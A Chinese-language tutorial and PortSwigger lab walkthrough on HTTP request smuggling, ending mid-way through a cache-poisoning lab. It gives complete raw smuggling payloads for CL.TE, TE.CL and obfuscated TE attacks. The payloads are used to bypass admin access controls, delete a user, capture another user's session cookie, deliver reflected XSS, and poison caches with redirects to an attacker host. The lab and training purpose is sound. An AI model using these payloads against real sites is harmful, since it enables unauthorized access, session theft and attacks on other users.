在上次的"Websocket通信安全概览"一文中对WebSocket的请求走私做了一个简单的介绍后总觉得对请求走私这一部分知识内容缺乏一个完整性的梳理,而网络上的文章要么就是只有原理,要么就是一些CTF题目,对于一些绕过场景、请求走私的扩展利用场景都没有怎么去涉及过,基于以上欠缺内容以及后面几次断断续续的补充和时间的拼凑最终有了这一篇较为完整的关于请求走私的介绍文章和利用实践文章,而这也算是填补了自己之前遗留的一个坑吧
HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列方式的技术,它允许攻击者绕过安全控制获得对敏感数据的未经授权的访问并直接危害其他应用程序用户,请求走私大多发生于前端服务器和后端服务器对客户端传入的数据理解不一致的情况,主要是因为HTTP规范提供了两种不同的方法来指定请求的结束位置,即Content-Length和Transfer-Encoding标头,请求走私主要与HTTP/1请求相关,但是支持HTTP/2的网站可能容易受到攻击,具体取决于其后端架构
在HTTP 1.0之前的通信协议中客户端会在进行HTTP请求时与服务器端通过TCP三次握手建立连接,而且是每个请求/响应都需要建立一个新的TCP连接,而现如今的WEB网站页面是由多种资源文件组成的,我们在获取一个完整的页面内容时则需要对多种资源文件需要进行请求处理,例如:CSS文件、JS文件、图片文件等内容,在这样的应用场景下HTTP /1.1横空出世并引入了持久连接(Keep-Alive)和管道(Pipeline),允许在单个TCP连接上发送多个HTTP请求和响应,规避了HTTP服务器负载开销大的问题,同时也提高了性能和效率:
管道(Pipeline):在HTTP/1.1中引入的一项新特性,主要用于改善并发请求的性能,Pipeline允许客户端在一个TCP连接上发送多个请求,而无需等待每个请求的响应,这也意味着客户端可以在发送第一个请求后立即发送下一个请求,而不需要等待前一个请求的响应返回
持久连接(Keep-Alive):在HTTP/1.1中引入的一项新特性,持久连接允许在单个TCP连接上发送多个HTTP请求和响应,而不是为每个请求都建立一个新的连接,当客户端发送一个HTTP请求并接收到服务器的响应后,TCP连接不会立即关闭,而是保持打开状态。这样客户端可以在同一个连接上发送多个请求,而无需重新建立连接,持久连接的好处在于可以减少建立连接时的开销、减少延迟并提高效率
现今的Web应用程序经常在用户和最终应用程序逻辑之间使用HTTP服务器链,用户将请求发送到前端服务器(有时称为"负载均衡器"或"反向代理"),然后该服务器将请求转发到一台或多台后端服务器,这种类型的架构在现代基于云的应用程序中越来越常见并且在某些情况下是不可避免的,而当前端服务器将HTTP请求转发到后端服务器时,它通常会通过同一后端网络连接发送多个请求,因为这样的效率和性能要高得多,HTTP请求被一个接一个地发送,接收服务器必须确定一个请求在哪里结束以及下一个请求从哪里开始
在这种情况下前端和后端系统就请求之间的边界达成一致至关重要,否则攻击者可能能够发送不明确的请求,前端和后端系统会以不同的方式解释该请求,在下面的示例图中攻击者通过更改请求数据包导致其前端请求的一部分被后端服务器解释为下一个请求的开始,它有效地添加到下一个请求之前,因此可能会干扰应用程序处理该请求的方式,这便是请求走私攻击,可能会造成灾难性的后果
在HTTP 1.1版本中提供了两种不同的方式来指定请求的结束位置:Content-Length和Transfer-Encoding
(1) Content-Length:HTTP协议中的一个头部字段,用于指示请求或响应消息体的长度(以字节为单位),它主要用于告诉接收方需要接收的数据的准确大小以便正确解析和处理消息,例如:
POST /search HTTP/1.1 Host: normal-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 11 q=smuggling
(2) Transfer-Encoding:HTTP协议中的一个头部字段,它主要用于指定消息正文使用分块编码,这意味着消息正文包含一个或多个数据块,每个块由块大小(以字节为单位)(以十六进制表示)组成,后跟换行符,然后是块内容,消息以大小为零的块终止,常见的Transfer-Encoding值有两种:
a、chunked:表示消息体采用分块传输编码,在分块传输编码中消息体被分成一系列大小不等的块,每个块前面都包含该块的大小信息,这允许消息体在传输过程中逐步发送,而不需要等待整个消息体完全生成,接收方通过读取每个块的大小信息来逐步重构完整的消息体,下面是使用chunked传输编码的响应消息示例:
HTTP/1.1 200 OK Content-Type: text/plain Transfer-Encoding: chunked 25 This is the first chunk of data. 1A This is the second chunk. 0
b、gzip、deflate等:表示消息体采用压缩编码,这些压缩编码算法可以对消息体进行压缩,从而减少传输的数据量,接收方在接收到压缩编码的消息体后需要对其进行解压缩才能获取原始的消息内容,下面是使用gzip压缩编码的响应消息示例
HTTP/1.1 200 OK Content-Type: text/plain Content-Encoding: gzip [compressed data]
由于HTTP /1规范提供了两种不同的方法来指定HTTP消息的长度,因此单个消息有可能同时使用这两种方法,从而导致它们相互冲突,针对此类问题我们建议如果Content-Length和Transfer-Encoding头都存在时应该采用忽略Content-Length来防止此问题,但是当只有一个服务器在运行时,这可以避免歧义,但当两个或多个服务器链接在一起时就无法避免歧义了,在这种情况下,出现问题的原因有两个:
总而言之,如果前端和后端服务器对于(可能是混淆的)Transfer-Encoding标头的行为不同,那么它们可能对连续请求之间的边界存在分歧,从而导致请求走私漏洞
经典的请求走私主要涉及Content-Length和Transfer-Encoding两个头信息,通过更改其数值并将其放入单个HTTP/1请求中对其进行请求测试操作,观察是否可以从前后的数据包中得到意外响应,常见的前后端请求处理方式有以下几种类型:
接下来用几个实例来说明HTTP走私攻击:
在这种情况之下,前端服务器使用Content-Length长度头,后端服务器使用Transfer-Encoding,我们可以执行简单的HTTP请求走私攻击,如下所示:
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 13 Transfer-Encoding: chunked 0 SMUGGLED
前端服务器处理Content-Length标头并确定请求正文的长度为13个字节,直到SMUGGLED结束,这个请求被转发到后端服务器,后端服务器处理Transfer-Encoding头,因此将邮件正文视为使用分块编码,它处理第一个块,该块被声明为零长度,因此被视为终止请求,而后面的字节(走私的)未被处理,后端服务器将把这些视为序列中下一个请求的开始
靶场地址:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
解题过程:
Step 1:访问以上链接并点击"ACCESS THELAB"进入靶场
Step 2:捕获数据包并构造一下请求报文
POST / HTTP/1.1 Host: 0af800e2048fe11a806ff35700f30086.web-security-academy.net Connection: close Cache-Control: max-age=0 sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Content-Length: 6 Transfer-Encoding: chunked Cookie: session=Z9jX1prJb6b6yIn5SbqiZY50uHHeECIX 0 G
第一次请求操作如下所示:
第二次请求时发现回显提示"Unrecognized method GPOST",这个主要是由于前端服务器处理Content-Length标头并确定请求正文的长度为6个字节,直到G结束,这个请求被转发到后端服务器,后端服务器处理Transfer-Encoding头,因此将邮件正文视为使用分块编码,它处理第一个块,该块被声明为零长度,因此被视为终止请求,而后面的字节(走私的)未被处理,后端服务器将把这些视为序列中下一个请求的开始,所以成为了最后的——"GPOST"
Step 3:随后刷新页面成功完成解题
在此类场景下,前端服务器使用Transfer-Encoding头,后端服务器使用Content-Length头,我们可以执行简单的HTTP请求走私攻击,如下所示:
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 3 Transfer-Encoding: chunked 8 SMUGGLED 0
前端服务器处理Transfer-Encoding头,因此将邮件正文视为使用分块编码,它处理第一个块,据说它有8个字节长,直到走私的下一行的开始,它处理第二个块,该块被声明为零长度,因此被视为终止请求,这个请求被转发到后端服务器,后端服务器处理Content-Length标头并确定请求正文的长度为3个字节,直到第8行的开头,接下来的字节,从走私开始没有被处理,后端服务器将把这些视为序列中下一个请求的开始
靶场地址:https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
解题过程:
Step 1:访问以上链接进入到靶场,随后点击"ACCESS THELAB"进入靶场
Step 2:修改从burpsuite中捕获到的数据报文,构造如下的请求走私请求(这里推荐打击使用新版本的Burpsuite,主要是可以可视化换行,其次需要注意的一个点是最后的那个0的后面也得\r\n,再者是需要移除栏目Repeater中的UnUpdate Content-Length)
POST / HTTP/1.1 Host: 0a96003604f8aabe8031df2300fe009a.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 4 Transfer-Encoding: chunked 5c GPOST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0
随后进行第二次发包,提示"Unrecognized method GPOST"
Step 3:随后完成解题操作
在这种场景下,前端和后端服务器都支持Transfer-Encoding头,但是可以通过以某种方式混淆头来诱导其中一个服务器不处理它,可能有无穷无尽的方法来混淆传输编码头,例如:
Transfer-Encoding: xchunked Transfer-Encoding : chunked Transfer-Encoding: chunked Transfer-Encoding: x Transfer-Encoding:[tab]chunked [space]Transfer-Encoding: chunked X: X[\n]Transfer-Encoding: chunked Transfer-Encoding : chunked
这些技术中的每一种都与HTTP规范有细微的不同,实现协议规范的真实世界代码很少绝对精确地遵守它并且不同的实现容忍与规范不同的变化是很常见的,根据是前端服务器还是后端服务器可以被诱导不处理混淆的传输编码报头,攻击的剩余部分将采取与CL相同的形式,TE还是TE
靶场地址:https://portswigger.net/web-security/request-smuggling/lab-obfuscating-te-header
解题过程:
Step 1:访问上面的靶场地址并直接点击"ACCESS THELAB"进入靶场
Step 2:抓取数据包并构造如下请求走私的攻击请求
POST / HTTP/1.1 Host: 0a60007404aa738e80bff93900e000a1.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 4 Transfer-Encoding: chunked Transfer-Encoding: cow 5c GPOST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0
第二次请求回显结果提示——"Unrecognized method GPOST",至于原理可以看上面,这里不再赘述,本实验就是结合上面的理论而构造的,在现实世界中可能或多或少也会有此类情况,但是少
Step 3:刷新页面完成解题
下面我们介绍一些常见的用户检测是否存在请求走私的方法技巧:
检测HTTP请求走私漏洞最有效的方法是发送请求,这里我们介绍一种通过时间延迟的方式来检测是否存在请求走私漏洞的方法,Burp Scanner已然实现这种技术
如果应用程序易受CL攻击,那么我们可以尝试发送以下请求走私的变体,此时通常会导致时间延迟,这主要是由于前端服务器使用Content-Length头,它将只转发该请求的一部分,忽略x,后端服务器使用Transfer-Encoding头,处理第一个块,然后等待下一个块到达,这将导致明显的时间延迟
POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Content-Length: 4 1 A X
如果应用程序易受TE攻击,那么我们可以尝试发送如下请求走私的CL变体,此时通常会导致时间延迟,这主要是因为前端服务器使用Transfer-Encoding头,因此它将只转发该请求的一部分,省略x,后端服务器使用Content-Length头,希望邮件正文中有更多内容并等待剩余内容到达,这将导致明显的时间延迟
POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Content-Length: 6 0 X
在检测到可能的请求走私漏洞时,我们可以通过利用它来触发应用程序响应内容的差异从而获得漏洞的进一步证据,这包括快速连续地向应用程序发送两个请求:
在干扰下一个请求处理的"Attack"请求
再次发送一个"正常"的请求
如果正常请求的响应包含预期的干扰内容则说明存在请求走私漏洞,例如:假设正常请求如下所示
POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 11 q=smuggling
该请求通常会收到状态代码为200的HTTP响应,其中包含一些搜索结果,干扰这个请求所需的攻击请求取决于存在的请求走私的变体:CL.TE vs TE.CL,这里我们以CL.TE为例:
POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 49 Transfer-Encoding: chunked e q=smuggling&x= 0 GET /404 HTTP/1.1 Foo: x
如果攻击成功,那么后端服务器会将该请求的最后两行视为接收到的下一个请求,这将导致后续的"正常"请求如下所示,由于这个请求现在包含一个无效的URL,服务器将用状态代码404响应,表明攻击请求确实干扰了:
GET /404 HTTP/1.1 Foo: xPOST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 11 q=smuggling
下面我们通过一个靶场来介绍具体的fuzzing:
靶场地址:https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-cl-te-via-differential-responses
测试流程:
Step 1:访问上述靶场地址并点击"ACCESS THELAB"进入靶场
Step 2:随意抓取一个数据包并构造以下Fuzzing请求
POST / HTTP/1.1 Host: 0ae900850431f4b482522fd000e3007d.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 35 Transfer-Encoding: chunked 0 GET /404 HTTP/1.1 X-Ignore: X
第二个包请求后会给一个404响应
如果要确认一个TE.CL漏洞,我们可以发送如下请求:
POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 4 Transfer-Encoding: chunked 7c GET /404 HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 144 x= 0
如果目标系统存在漏洞且被攻击成功,那么从GET /404开始的所有内容都会被后端服务器视为属于接收到的下一个请求,这将导致后续的"正常"请求如下所示:
GET /404 HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 146 x= 0 POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 11 q=smuggling
下面我们通过一个靶场进行简单的演示:
靶场地址:https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-te-cl-via-differential-responses
测试演示:
Step 1:访问靶场并点击"ACCESS THELAB"进入到靶场
Step 2:使用burpsuite抓包并构造如下恶意请求载荷
POST / HTTP/1.1 Host: 0a71000f036353f181142ace00340041.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 4 Transfer-Encoding: chunked 5e POST /404 HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0
第二个包请求后会给一个404响应
随后成功解题:
假设应用程序使用前端服务器来实现访问控制限制,仅当用户被授权访问所请求的URL时才转发请求,然后后端服务器接受每个请求,而不做进一步的检查,在这种情况下可以利用HTTP请求走私漏洞通过请求走私访问受限制的URL从而绕过访问控制,假如允许当前用户访问/home,但不允许访问/admin,他们可以使用以下请求走私攻击绕过这一限制:
POST /home HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 62 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: vulnerable-website.com Foo: xGET /home HTTP/1.1 Host: vulnerable-website.com
前端服务器在这里看到两个请求,都是针对/home的,因此请求被转发到后端服务器,但是后端服务器看到一个对/home的请求和一个对/admin的请求,它(像往常一样)假设请求已经通过了前端控件,因此授予对受限URL的访问权限
下面我们介绍一下具体的绕过方式:
靶场地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te
绕过演示:
Step 1:直接访问上面的链接,点击"ACCESS THELAB"进入靶场
Step 2:访问/admin路径会发现被拦截
Step 3:随后我们构造如下请求数据包并发送两次尝试请求走私
POST / HTTP/1.1 Host: 0ae3000c04275ff48012fd73008e00b8.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 37 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 X-Ignore: X
此时第二个数据包中看到只允许local访问
随后添加头部信息"Host: localhost",修改后的请求数据包如下并请求两次:
从上面可以看到这里由于第二个请求的主机头与第一个请求中走私的主机头冲突,从而导致请求被阻塞,随后发送以下请求两次以便将第二个请求的标头附加到走私的请求正文中:
POST / HTTP/1.1 Host: 0ae3000c04275ff48012fd73008e00b8.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 116 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=
现在我们可以访问管理面板了,随后我们直接调用接口来删除carlos:
POST / HTTP/1.1 Host: 0ae3000c04275ff48012fd73008e00b8.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 139 Transfer-Encoding: chunked 0 GET /admin/delete?username=carlos HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=
随后完成解题:
靶场介绍:本实验涉及前端和后端服务器,后端服务器不支持分块编码,在/admin有一个管理面板,但是前端服务器阻止了对它的访问
靶场地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl
绕过演示:
首先访问上述靶机,点击"ACCESS THELAB"进入靶场
访问/admin路径时会被直接拦截
随后构造以下请求走私载荷并发送两次请求
Content-length: 4 Transfer-Encoding: chunked 60 POST /admin HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0
可以看到和上面的一个靶场一样,都需要本地访问,随后直接增加头部信息即可
POST / HTTP/1.1 Host: 0aa2009b039439b080a5fd6a00dd00a4.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 4 Transfer-Encoding: chunked 71 POST /admin HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0
从上面可以看到进入到了admin的控制面板,随后调用接口执行删除操作
POST / HTTP/1.1 Host: 0aa2009b039439b080a5fd6a00dd00a4.web-security-academy.net Content-length: 4 Transfer-Encoding: chunked 87 GET /admin/delete?username=carlos HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0
随后刷新页面完成解题:
在许多应用程序中前端服务器在将请求转发到后端服务器之前会对请求进行一些重写,通常是通过添加一些额外的请求头,例如:前端服务器可能
在某些情况下如果您的走私请求缺少一些通常由前端服务器添加的头,那么后端服务器可能不会以正常方式处理请求,从而导致走私请求无法达到预期的效果,通常有一种简单的方法来检测前端服务器是如何重写请求的,为此您需要执行以下步骤:
假设应用程序有一个反映email参数值的登录函数:
POST /login HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 28 email=wiener@normal-user.net
这将会导致响应包中包含以下内容信息:
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 130 Transfer-Encoding: chunked 0 POST /login HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 100 email=POST /login HTTP/1.1 Host: vulnerable-website.com
前端服务器将重写请求以包括附加的报头,然后后端服务器将处理走私的请求并将重写的第二请求视为emil参数的值,然后它会在第二个请求的响应中回显这个值:
<input id="email" value="POST /login HTTP/1.1 Host: vulnerable-website.com X-Forwarded-For: 1.3.3.7 X-Forwarded-Proto: https X-TLS-Bits: 128 X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256 X-TLS-Version: TLSv1.2 x-nr-external-service: external ...
确定前端服务器是如何重写请求的后我们就可以将必要的重写应用到您走私的请求上以确保它们被后端服务器以预期的方式处理,下面我们通过一个靶场进行简单的演示:
靶场地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-reveal-front-end-request-rewriting
靶场介绍:本实验涉及前端和后端服务器,前端服务器不支持分块编码,在/admin有一个管理面板,但是只有IP地址为127.0.0.1的人才能访问,前端服务器向包含IP地址的传入请求添加HTTP头,它类似于X-Forwarded-For标头,但名称不同,为了解决这个实验题目,你需要偷偷的向后端服务器发送一个请求,该请求显示前端服务器添加的头,然后偷偷向后端服务器发送一个请求,其中包含添加的头,访问管理面板并删除用户carlos
演示步骤:
Step 1:首先访问上面的链接进入靶场地址,随后点击"ACCESS THELAB"进入靶场,直接访问/admin地址会被拦截,回显内容提示需要administrator用户访问并要求来访地址为127.0.0.1才阔以
然后搜索Blog
使用burpsuite抓包可以看到我们搜索的内容——"1111"被回显到了响应报文中
Step 3:随后构造以下请求数据报文
POST / HTTP/1.1 Host: 0ae000aa04f227c28184f2bb00e80084.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 124 Transfer-Encoding: chunked 0 POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: close search=test
第二次发送请求数据报文回显结果如下,可以看到响应中"Search results for"后跟了重写的HTTP请求的开头
随后记下重写请求中X-*-IP报头的名称并使用它来访问管理面板:
POST / HTTP/1.1 Host: 0ae000aa04f227c28184f2bb00e80084.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 143 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 X-GoOvNz-Ip: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 10 Connection: close x=1
第一个报文显示结果如下:
第二个请求中显示直接进入Admin面板
并发现两个用户和对应的删除操作选项
随后我们直接使用前面的响应作为参考,更改走私的请求URL以删除用户carlos
POST / HTTP/1.1 Host: 0ae000aa04f227c28184f2bb00e80084.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 166 Transfer-Encoding: chunked 0 GET /admin/delete?username=carlos HTTP/1.1 X-abcdef-Ip: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 10 Connection: close x=1
刷新页面完成解题:
在TLS握手过程中,服务器通过提供证书向客户端(通常是浏览器)验证自己,证书中包含他们的通用名称(CN),该名称应该与他们注册的主机名相匹配,然后客户端可以使用它来验证他们正在与属于预期域的合法服务器进行对话,而部分站点则实现了双向认证,在这种认证方式下客户端也必须向服务器提供证书,客户端的CN通常是用户名等,例如:它可以在后端应用程序逻辑中用作访问控制机制的一部分,对客户端进行身份验证的组件通常是通过一个或多个非标准的HTTP头将证书中的相关细节传递给应用程序或后端服务器,例如:前端服务器有时会将包含客户端CN的标头附加到请求头中:
GET /admin HTTP/1.1 Host: normal-website.com X-SSL-CLIENT-CN: carlos
由于这些头应该对用户完全隐藏,它们通常被后端服务器隐式信任,如果您能够发送正确的头和值的组合,那么将可能够绕过访问控制限制,而实际上这种行为通常是不可利用的,因为前端服务器倾向于覆盖这些已经存在的头,然而走私的请求对前端是完全隐藏的,所以它们包含的任何头都将被发送到后端而不被改变
POST /example HTTP/1.1 Host: vulnerable-website.com Content-Type: x-www-form-urlencoded Content-Length: 64 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 X-SSL-CLIENT-CN: administrator Foo: x
如果应用程序包含任何类型的功能,允许您存储并在以后检索文本数据,那么此时您可以潜在地使用它来捕获其他用户请求的内容,这些可能包括用户提交的会话令牌或其他敏感数据,评论、电子邮件、个人资料描述、屏幕名称等等都适合作为这种攻击的载体,在执行攻击时您需要发送一个向存储函数提交数据的请求,并将包含要存储的数据的参数放在请求的最后,例如:假设一个应用程序使用下面的请求来提交一篇博客文章的评论,该评论将被存储并显示在博客上
POST /post/comment HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 154 Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net
此时我们可以发送一个内容长度过长的请求并且注释参数位于请求的末尾
GET / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Content-Length: 330 0 POST /post/comment HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 400 Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=
走私请求的Content-Length头部表示主体将有400个字节长,但是我们只发送了144个字节,在这种情况下,后端服务器将在发出响应之前等待剩余的256个字节,如果响应不够快,则会发出超时,因此当另一个请求通过相同的连接发送到后端服务器时,前256个字节会被有效地附加到走私的请求中,从而得到如下响应
POST /post/comment HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 400 Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1 Host: vulnerable-website.com Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj ...
由于受害者请求的开始包含在comment参数中,这将作为评论发布在博客上,随后便能够通过访问相关的帖子来阅读它,为了捕获更多的受害者请求,您只需要相应地增加被走私请求的Content-Length头的值,不过需要请注意的是这将涉及一定量的试错,如果您遇到超时,这可能意味着您指定的内容长度大于受害者请求的实际长度,在这种情况下只需降低该值,直到攻击再次奏效,下面我们通过一个靶场示例进行演示
靶场地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests
靶场介绍:本实验涉及前端和后端服务器,前端服务器不支持分块编码,为了解决这个问题,你需要将一个请求偷偷发送到后端服务器,使下一个用户的请求存储在应用程序中,然后检索下一个用户的请求并使用受害用户的cookies来访问他们的帐户
绕过演示:
Step 1:首先访问上面的靶场地址并点击"ACCESS THELAB"进入靶场
Step 2:随意点击一个blog并进行评论操作
确定评论有效
Step 3:随后将请求的Content-Length增加到600,然后将其偷偷发送到后端服务器,从响应中可以看到请求走私的内容
然后改为800,经过多次尝试后获得Session
貌似session不全,后面再次做调整改为808
Step 4:点击Login并进行登录,替换SESSION为之前的带出来的SESSION信息
Step 5:随后完成解题
如果应用程序容易受到HTTP请求走私的攻击并且还包含反射XSS,那么我们便可以使用请求走私攻击来攻击应用程序的其他用户,这种方法在两个方面优于反射XSS的正常利用
假设一个应用程序在用户代理头中有一个反射的XSS漏洞,您可以在请求走私攻击中利用这一点,如下所示:
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 63 Transfer-Encoding: chunked 0 GET / HTTP/1.1 User-Agent: <script>alert(1)</script> Foo: X
下一个用户的请求将被附加到被发送的请求中,他们将在响应中收到反射的XSS有效载荷,下面我们通过一个靶场示例来进行演示说明:
靶场地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss
靶场介绍:本实验涉及前端和后端服务器,前端服务器不支持分块编码,该应用程序还容易受到通过User-Agent标头反射的XSS的攻击,为了解决这个实验,你需要向后端服务器发送一个请求,使下一个用户的请求收到一个响应,该响应包含一个执行alert(1)的XSS漏洞
演示过程:
Step 1:直接访问上面的靶场地址,点击"ACCESS THELAB"进入靶场,随意访问一个Blog并使用burpsuite抓包,插入User-Agent头并写入恶意载荷并构造走私请求的数据包
POST / HTTP/1.1 Host: 0a2300d804da7e7b8021809600830024.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 150 Transfer-Encoding: chunked 0 GET /post?postId=5 HTTP/1.1 User-Agent: a"/><script>alert(1)</script> Content-Type: application/x-www-form-urlencoded Content-Length: 5 x=1
随后目标用户访问网站时即可触发恶意XSS
随后成功完成解题:
在日常的Web开发中有很多的应用程序都会有从一个URL到另一个URL的重定向场景,而且大部分都是直接提取的请求包中的host头部信息,例如:Apache和IIS web服务器的默认行为,其中对没有尾随斜杠的文件夹的请求接收到重定向到包括尾随斜杠的相同文件夹中
GET /home HTTP/1.1 Host: normal-website.com HTTP/1.1 301 Moved Permanently Location: https://normal-website.com/home/
这种行为通常被认为是无害的,但是它可以在请求走私攻击中被利用来将其他用户重定向到外部URL,例如:
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 54 Transfer-Encoding: chunked 0 GET /home HTTP/1.1 Host: attacker-website.com Foo: X
走私的请求将触发重定向到攻击者的网站,这将影响后端服务器处理的下一个用户的请求,例如:
GET /home HTTP/1.1 Host: attacker-website.com Foo: XGET /scripts/include.js HTTP/1.1 Host: vulnerable-website.com HTTP/1.1 301 Moved Permanently Location: https://attacker-website.com/home/
我们可能遇到服务器级重定向大多使用路径为位置标头构造相对于根目录的URL,例如:
GET /example HTTP/1.1 Host: normal-website.com HTTP/1.1 301 Moved Permanently Location: /example/
上面的貌似没啥大问题,但是如果服务器允许在路径中使用与协议相关的URL,这仍有可能用于开放式重定向
GET //attacker-website.com/example HTTP/1.1 Host: vulnerable-website.com HTTP/1.1 301 Moved Permanently Location: //attacker-website.com/example/
在上述攻击的变体中我们也可以利用HTTP请求走私来执行Web缓存中毒攻击,如果前端基础结构的任何部分执行内容缓存(通常是出于性能原因),那么就有可能用异地重定向响应来破坏缓存,这将使攻击持续下去,影响任何随后请求受影响URL的用户,在这种变体中攻击者向前端服务器发送以下所有内容:
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 59 Transfer-Encoding: chunked 0 GET /home HTTP/1.1 Host: attacker-website.com Foo: XGET /static/include.js HTTP/1.1 Host: vulnerable-website.com
走私的请求到达后端服务器后,位于后端的服务器会像以前一样用重定向进行响应,前端服务器根据它认为是第二个请求中的URL(即/static/include.js)缓存此响应,此时当其他用户请求此URL时,将会受到攻击者网站的重定向
GET /static/include.js HTTP/1.1 Host: vulnerable-website.com HTTP/1.1 301 Moved Permanently Location: https://attacker-website.com/home/
下面我们通过一个靶场进行简单的演示:
靶场地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-poisoning
靶场介绍:本实验涉及前端和后端服务器,前端服务器不支持分块编码传输,前端服务器被配置为缓存某些响应,为了解决这个实验,你需要执行一个请求走私攻击,导致缓存中毒,这样一个JavaScript文件的后续请求接收到一个重定向到利用服务器,中毒的缓存应该向document.cookie发出警报
过程演示:
首先访问上述的靶场地址然后点击"ACCESS THELAB"进入靶场,随后点开任意一个Blog,然后点击"Next Blog"
此时我们会捕获到以下请求数据包:
随后我们重新来过并更改请求数据包在其中插入走私的请求报文内容:
POST / HTTP/1.1 Host: 0adb000003e8f05f81aa7f7900e90038.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 129 Transfer-Encoding: chunked 0 GET /post/next?postId=8 HTTP/1.1 Host: baidu.com Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1
